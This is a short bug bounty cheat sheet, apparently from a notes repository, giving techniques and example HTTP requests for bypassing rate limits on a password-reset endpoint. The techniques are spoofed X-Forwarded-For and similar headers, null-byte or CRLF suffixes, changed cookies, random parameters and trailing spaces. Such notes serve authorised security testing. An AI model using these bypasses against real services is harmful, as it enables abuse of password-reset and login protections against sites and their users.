AllAboutBugBounty/Bypass Rate Limit.md
2021-01-25 06:32:59 +07:00

1.3 KiB

Bypass Rate Limit

  1. Try add some custom header
X-Forwarded-For : 127.0.0.1
X-Forwarded-Host : 127.0.0.1
X-Client-IP : 127.0.0.1
X-Remote-IP : 127.0.0.1
X-Remote-Addr : 127.0.0.1
X-Host : 127.0.0.1

For example:

POST /ForgotPass.php HTTP/1.1
Host: target.com
X-Forwarded-For : 127.0.0.1
[...]

email=victim@gmail.com
  1. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
POST /ForgotPass.php HTTP/1.1
Host: target.com
[...]

email=victim@gmail.com%00
  1. Try changing user-agents, cookies and IP address
POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx
[...]

email=victim@gmail.com

Try this to bypass

POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: aaaaaaaaaaaaa
[...]

email=victim@gmail.com
  1. Add a random parameter on the last endpoint
POST /ForgotPass.php HTTP/1.1
Host: target.com
[...]

email=victim@gmail.com

Try this to bypass

POST /ForgotPass.php?random HTTP/1.1
Host: target.com
[...]

email=victim@gmail.com
  1. Add space after the parameter value
POST /api/forgotpass HTTP/1.1
Host: target.com
[...]

{"email":"victim@gmail.com"}

Try this to bypass

POST /api/forgotpass HTTP/1.1
Host: target.com
[...]

{"email":"victim@gmail.com "}